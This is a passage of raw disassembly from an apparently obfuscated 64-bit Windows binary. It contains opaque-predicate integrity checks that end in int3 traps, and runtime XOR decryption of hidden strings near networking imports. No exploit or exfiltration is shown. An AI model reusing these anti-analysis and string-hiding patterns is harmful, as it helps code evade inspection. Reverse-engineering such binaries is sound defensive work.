sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140043012
add edi, r14d
cmp edi, 5
jl 0x140042f75
jmp 0x140043033
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r11d, 0xdb9fe8e7
movabs r10, 0x2aaaaaaaaaaaaaab
mov r14d, 1
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x140043172
mov rdi, rbx
mov r8d, r12d
mov r9, r15
movabs r11, 0xc9120f8b6b5ff569
sub r8d, r14d
sub r9, r14
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140043098
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140043058
mov rax, rdi
xor rax, rdi
mov r11d, 0xdb9fe8e7
xor rax, r11
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400432a5
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x140043106
movsxd r10, dword [rsi + 0x3c]
add r10, rsi
mov qword [rbp + 0x50], r10
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x1400432bb
mov r8, rbx
mov rcx, r14
mov esi, 0xbd2ec3eb
mov r9d, 5
mov rax, rsi
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x1400431a0
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, rsi
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs rsi, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400432b0
add edi, r14d
cmp edi, 7
jl 0x14004323f
jmp 0x1400432c5
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
movabs rsi, 0x2aaaaaaaaaaaaaab
mov eax, 0x20b
cmp word [r10 + 0x18], ax
je 0x140043692
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x1400433f6
mov r8, rbx
mov rcx, r14
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x1400432f9
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14004367c
add edi, r14d
cmp edi, 7
jl 0x14004338e
movdqa xmm0, xmmword [0x140109ed0]
movdqu xmmword [rbp + 0xac8], xmm0
movdqa xmm1, xmmword [0x14010a180]
movdqu xmmword [rbp + 0xad8], xmm1
movdqa xmm0, xmmword [0x14010a090]
movdqu xmmword [rbp + 0xae8], xmm0
mov byte [rbp + 0xaf8], WSAStartup
mov byte [rbp + 0xaf9], Ordinal_46
mov byte [rbp + 0xafa], Ordinal_33
mov byte [rbp + 0xafb], 0xb4
mov byte [rbp + 0xafc], 0xf5
mov byte [rbp + 0xafd], 0x78
mov byte [rbp + 0xafe], 0xb9
mov byte [rbp + 0xaff], recv
mov byte [rbp + 0xb00], 0xf8
mov byte [rbp + 0xb01], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb02], Ordinal_211
mov byte [rbp + 0xb03], Ordinal_211
mov byte [rbp + 0xb04], 0x57
xor eax, eax
mov byte [rbp + 0xb05], al
mov r8, rbx
mov esi, 0xfec33fb5
mov ebx, 0xfec33fb4
lea r9d, [rax + 0x3d]
movabs r15, 0x79690c5c42
movabs r10, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r10
mul r13
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r13
sub rcx, rax
xor dil, cl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xac8]
xor dil, r8b
mov byte [rbp + r8 + 0xac8], dil
add r8, r14
add r13, rsi
add r9, 0x3d
cmp r13, r15
jb 0x1400434ae
xor ebx, ebx
mov byte [rbp + 0xb05], bl
mov r8d, r14d
xor edx, edx
lea rcx, [rbp + 0xac8]
call fcn.140039734
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r13d, 0x9e0d9526
jne 0x140043698
mov r8d, r13d
mov edi, ebx
mov r9d, ebx
mov r10d, r11d
mov r15d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, rsi
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
add r9d, r14d
add r10, r14
cmp r9d, 8
jl 0x140043565
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov ecx, 0xdeadbeef
or rdi, rcx
xor rax, rdi
xor rax, 0x45927dc1
mov qword [rbp + 0xd18], rax
mov qword [rbp + 0xd20], 0x4e3f8dcc
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140043687
add edi, r14d
cmp edi, 5
jl 0x140043616
jmp 0x140043698
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r13d, 0x9e0d9526
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x1400437e0
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r11
mov r15d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x1400436bc
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd10]
xor rdx, rax
mov rcx, qword [rbp + 0xd20]
xor rcx, rdx
mov rax, qword [rbp + 0xd18]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140043e59
add edi, r14d
cmp edi, 5
jl 0x140043778
mov edx, Ordinal_26
lea rcx, [rbp + 0xe98]
call fcn.140050ac0
lea rcx, [rbp - 0x78]
call fcn.140005480
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [str.n_a1]
movdqu xmmword [rbp + 0x7c0], xmm0
mov byte [rbp + 0x7d0], 0xca
mov byte [rbp + 0x7d1], 0xb9
mov byte [rbp + 0x7d2], 0xad
mov byte [rbp + 0x7d3], 0xc1
mov byte [rbp + 0x7d4], 0xfa
mov byte [rbp + 0x7d5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x7d6], 0x9d
mov byte [rbp + 0x7d7], 0xba
mov byte [rbp + 0x7d8], 0xf9
mov byte [rbp + 0x7d9], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x7da], 0xea
mov byte [rbp + 0x7db], Ordinal_46
mov byte [rbp + 0x7dc], __WSAFDIsSet
mov byte [rbp + 0x7dd], 0xa8
xor eax, eax
mov byte [rbp + 0x7de], al
mov r8, rbx
mov ebx, 0xfec33fb4
lea r10d, [rax + 0x1e]
movabs r9, 0x1ddae17736
movabs r11, 0x8080808080808081
mov r15d, 0xfec33fb5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x7c0]
xor dil, r8b
mov byte [rbp + r8 + 0x7c0], dil
add r8, r14
add r9, r15
add r10, 0x1e
movabs rax, 0x3bb5c2ee6c
cmp r9, rax
jb 0x14004389f
xor ebx, ebx
mov byte [rbp + 0x7de], bl
lea rax, [rbp + 0x7c0]
mov qword [rbp + 0x2a0], rax
movdqa xmm0, xmmword [0x14010a1e0]
movdqu xmmword [rbp + 0x720], xmm0
mov byte [rbp + 0x730], 0xde
mov byte [rbp + 0x731], WSAGetLastError
mov byte [rbp + 0x732], 0xab
mov byte [rbp + 0x733], 0xac
mov byte [rbp + 0x734], 0xfa
mov byte [rbp + 0x735], 0x5e
mov byte [rbp + 0x736], Ordinal_50
mov byte [rbp + 0x737], 0x52
mov byte [rbp + 0x738], 0xf5
mov byte [rbp + 0x739], Ordinal_211
mov byte [rbp + 0x73a], WSAGetLastError
xor eax, eax
mov byte [rbp + 0x73b], al
mov r8d, ebx
mov esi, 0xfec33fb4
movabs r9, 0x1ade97b817
lea r10d, [rbx + 0x1b]
mov r15d, 0xdb9fe8f7
mov r13d, 0xfec33fb5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x720], dil
add r8, r14
add r9, r13
add r10, 0x1b
movabs rax, 0x35bd2f702e
cmp r9, rax
jb 0x1400439ab
mov byte [rbp + 0x73b], bl
lea rax, [rbp + 0x720]
mov qword [rbp + 0x2a8], rax
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x2b0]
call fcn.140050f7c
movups xmm0, xmmword [rax]
movdqu xmmword [rbp + 0x2c0], xmm0
mov r8, qword [rsp + 0x60]
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0xe98]
call fcn.140050f9c
mov rax, qword gs:[0xd]
mov esi, 0xdb9fe8e7
cmp rax, rsi
mov r13d, 0x9e0d9526
movabs r11, 0x2aaaaaaaaaaaaaab
jne 0x140043bb6
mov rdi, rbx
mov r8d, r12d
mov r9, r15
movabs rsi, 0xc9120f8b6b5ff569
sub r8d, r14d
sub r9, r14
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140043add
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140043a9d
mov rax, rdi
xor rax, rdi
mov esi, 0xdb9fe8e7
xor rax, rsi
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140043e64
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x140043b4a
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140043d02
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov r15d, 0xffafffef
mov ecx, r9d
mov rdx, rsi
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
add r9d, r14d
add r10, r14
cmp r9d, 8
jl 0x140043bda
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140043e6f
add edi, r14d
cmp edi, 5
jl 0x140043c9a
xor ecx, ecx
call fcn.140005498
mov rcx, rax
call fcn.1400c0bc4
mov rax, qword gs:[0xd]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, rsi
jne 0x140043e85
mov rdi, rbx
mov r8d, r12d
mov r9, r15
movabs rsi, 0xc9120f8b6b5ff569
sub r8d, r14d
sub r9, r14
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140043d80
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140043d40
mov rax, rdi
xor rax, rdi
mov esi, 0xdb9fe8e7
xor rax, rsi
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov r10d, 0x232356cd
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140043e7a
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x140043def
jmp 0x140043e8b
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r10d, 0x232356cd
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140043fc5
mov rdi, rbx
mov r8d, r12d
mov r9, r15
movabs rsi, 0xc9120f8b6b5ff569
sub r8d, r14d
sub r9, r14
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140043ef0
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140043eb0
mov rax, rdi
xor rax, rdi
mov esi, 0xdb9fe8e7
xor rax, rsi
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140044602
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x140043f59
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x1400440ff
mov rdi, rbx
mov r8d, r12d
mov r9, r15
movabs rsi, 0xc9120f8b6b5ff569
sub r8d, r14d
sub r9, r14
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14004402a
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140043fea
mov rax, rdi
xor rax, rdi
mov esi, 0xdb9fe8e7
xor rax, rsi
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14004460d
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x140044093
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140044229
mov r8, rbx
mov rcx, r14
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x140044123
xor rdi, r10
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140044618
add edi, r14d
cmp edi, 7
jl 0x1400441c1
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140044353
mov r8, rbx
mov rcx, r14
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x14004424d
xor rdi, r10
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140044623
add edi, r14d
cmp edi, 7
jl 0x1400442eb
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x14004449f
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov r15d, 0xffafffef
mov ecx, r9d
mov rdx, rsi
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
add r9d, r14d
add r10, r14
cmp r9d, 8
jl 0x140044377
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
